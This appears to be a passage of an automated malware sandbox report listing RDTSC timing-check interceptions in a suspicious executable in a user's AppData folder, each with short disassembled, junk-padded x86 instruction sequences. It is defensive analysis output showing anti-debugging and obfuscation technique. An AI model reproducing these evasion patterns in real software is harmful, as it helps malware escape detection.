Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10420F0 second address: 10420F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10421A1 second address: 10421AB instructions: 0x00000000 rdtsc 0x00000002 js 00007F1C24BF83F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1043645 second address: 104365F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1C24FCCA95h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104478C second address: 1044790 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1044790 second address: 1044796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1046217 second address: 104625F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1C24BF83F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c mov si, C173h 0x00000010 push 00000000h 0x00000012 ja 00007F1C24BF83FAh 0x00000018 mov si, E3C1h 0x0000001c push 00000000h 0x0000001e movzx esi, si 0x00000021 sub dword ptr [ebp+138B79C8h], esi 0x00000027 xchg eax, ebx 0x00000028 jmp 00007F1C24BF8409h 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push esi 0x00000031 push edi 0x00000032 pop edi 0x00000033 pop esi 0x00000034 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104625F second address: 1046269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F1C24FCCA86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1046C9A second address: 1046C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1046C9E second address: 1046CEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F1C24FCCA96h 0x00000012 jnl 00007F1C24FCCA86h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F1C24FCCA99h 0x00000020 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1046CEC second address: 1046CF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10477EB second address: 10477F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10477F1 second address: 10477F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10477F5 second address: 1047853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b xor esi, 7D2D13B5h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F1C24FCCA88h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007F1C24FCCA88h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 push eax 0x0000004a jl 00007F1C24FCCA94h 0x00000050 push eax 0x00000051 push edx 0x00000052 push edx 0x00000053 pop edx 0x00000054 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1047853 second address: 1047857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104827B second address: 1048280 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104A3AD second address: 104A3BF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F1C24BF83F6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104A3BF second address: 104A454 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1C24FCCA95h 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F1C24FCCA88h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a sub dword ptr [ebp+13712E0Bh], ecx 0x00000030 ja 00007F1C24FCCA8Ch 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F1C24FCCA88h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 push 00000000h 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104A454 second address: 104A458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104A458 second address: 104A45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104A45E second address: 104A468 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1C24BF83FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104BFCA second address: 104BFD4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1C24FCCA8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104BFD4 second address: 104BFDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104BFDB second address: 104BFE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104BFE1 second address: 104C000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push esi 0x00000009 ja 00007F1C24BF83F6h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1C24BF83FBh 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104DA72 second address: 104DA78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1050EC7 second address: 1050ECD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1050ECD second address: 1050EED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007F1C24FCCA86h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1C24FCCA91h 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1051F24 second address: 1051F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1051FA9 second address: 1051FC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1C24FCCA8Dh 0x00000008 jne 00007F1C24FCCA86h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1051FC8 second address: 1051FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1052EBE second address: 1052EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1053DE8 second address: 1053DF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F1C24BF83F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1053DF2 second address: 1053DF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1055CDC second address: 1055CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1056E35 second address: 1056E3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1056E3B second address: 1056E3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1056E3F second address: 1056E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F1C24FCCA88h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov di, si 0x00000028 push 00000000h 0x0000002a mov di, cx 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1056E79 second address: 1056E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1058EB2 second address: 1058EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F1C24FCCA98h 0x0000000f pushad 0x00000010 jmp 00007F1C24FCCA92h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1058EE9 second address: 1058F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 and ebx, 5E44FA9Bh 0x0000000d mov bx, si 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F1C24BF83F8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c movsx edi, ax 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007F1C24BF83F8h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 0000001Ah 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b or ebx, dword ptr [ebp+138A0215h] 0x00000051 mov ebx, dword ptr [ebp+13712C19h] 0x00000057 xchg eax, esi 0x00000058 jnp 00007F1C24BF83FEh 0x0000005e push eax 0x0000005f pushad 0x00000060 pushad 0x00000061 ja 00007F1C24BF83F6h 0x00000067 push edx 0x00000068 pop edx 0x00000069 popad 0x0000006a push eax 0x0000006b push edx 0x0000006c jp 00007F1C24BF83F6h 0x00000072 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105AECB second address: 105AEF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1C24FCCA8Ch 0x00000008 jmp 00007F1C24FCCA92h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105AEF6 second address: 105AEFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105AEFA second address: 105AF00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105AF00 second address: 105AF8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F1C24BF83F8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 or ebx, dword ptr [ebp+13712979h] 0x0000002c call 00007F1C24BF8408h 0x00000031 mov edi, esi 0x00000033 pop ebx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007F1C24BF83F8h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 0000001Bh 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 xchg eax, esi 0x00000051 push ebx 0x00000052 push edi 0x00000053 jno 00007F1C24BF83F6h 0x00000059 pop edi 0x0000005a pop ebx 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105AF8F second address: 105AF95 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105AF95 second address: 105AF9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F1C24BF83F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105BEDF second address: 105BEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F1C24FCCA8Ch 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105CFC3 second address: 105CFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jmp 00007F1C24BF83FBh 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105CFD9 second address: 105CFDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105CFDE second address: 105D044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1C24BF83F6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F1C24BF83F8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 movsx edi, cx 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007F1C24BF83F8h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 00000014h 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 push 00000000h 0x00000049 mov ebx, dword ptr [ebp+13712939h] 0x0000004f mov bx, 31B4h 0x00000053 xchg eax, esi 0x00000054 pushad 0x00000055 js 00007F1C24BF83FCh 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105D044 second address: 105D04B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105DF17 second address: 105DF37 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F1C24BF8405h 0x00000011 jmp 00007F1C24BF83FFh 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105F08F second address: 105F095 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105F095 second address: 105F099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105F099 second address: 105F123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+1371398Bh], edi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F1C24FCCA88h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b call 00007F1C24FCCA96h 0x00000030 mov di, si 0x00000033 pop ebx 0x00000034 movsx ebx, di 0x00000037 push 00000000h 0x00000039 call 00007F1C24FCCA8Fh 0x0000003e mov ebx, 7477CFF3h 0x00000043 pop edi 0x00000044 push eax 0x00000045 pushad 0x00000046 jmp 00007F1C24FCCA97h 0x0000004b jbe 00007F1C24FCCA8Ch 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1062C1B second address: 1062C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1062C1F second address: 1062C23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1062C23 second address: 1062C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1C24BF8402h 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1062C41 second address: 1062C47 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1066FEE second address: 1066FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F1C24BF83F6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1066FFD second address: 1067001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1066B26 second address: 1066B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1C24BF8400h 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1070983 second address: 107098A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 107098A second address: 1070990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1070990 second address: 10709A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1C24FCCA8Fh 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10709A8 second address: 10709BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F1C24BF83FCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10709BA second address: 10709C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jg 00007F1C24FCCA86h 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1070AF4 second address: 1070B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F1C24BF83F6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1070B03 second address: 1070B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1070C47 second address: 1070C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24BF8405h 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F1C24BF83FCh 0x00000013 pushad 0x00000014 jp 00007F1C24BF83F6h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c jmp 00007F1C24BF8407h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1070C92 second address: 1070C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1070EEE second address: 1070EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1C24BF83F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1070EF8 second address: 1070F08 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1C24FCCA86h 0x00000008 je 00007F1C24FCCA86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 107464A second address: 1074662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24BF8404h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1074662 second address: 1074666 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
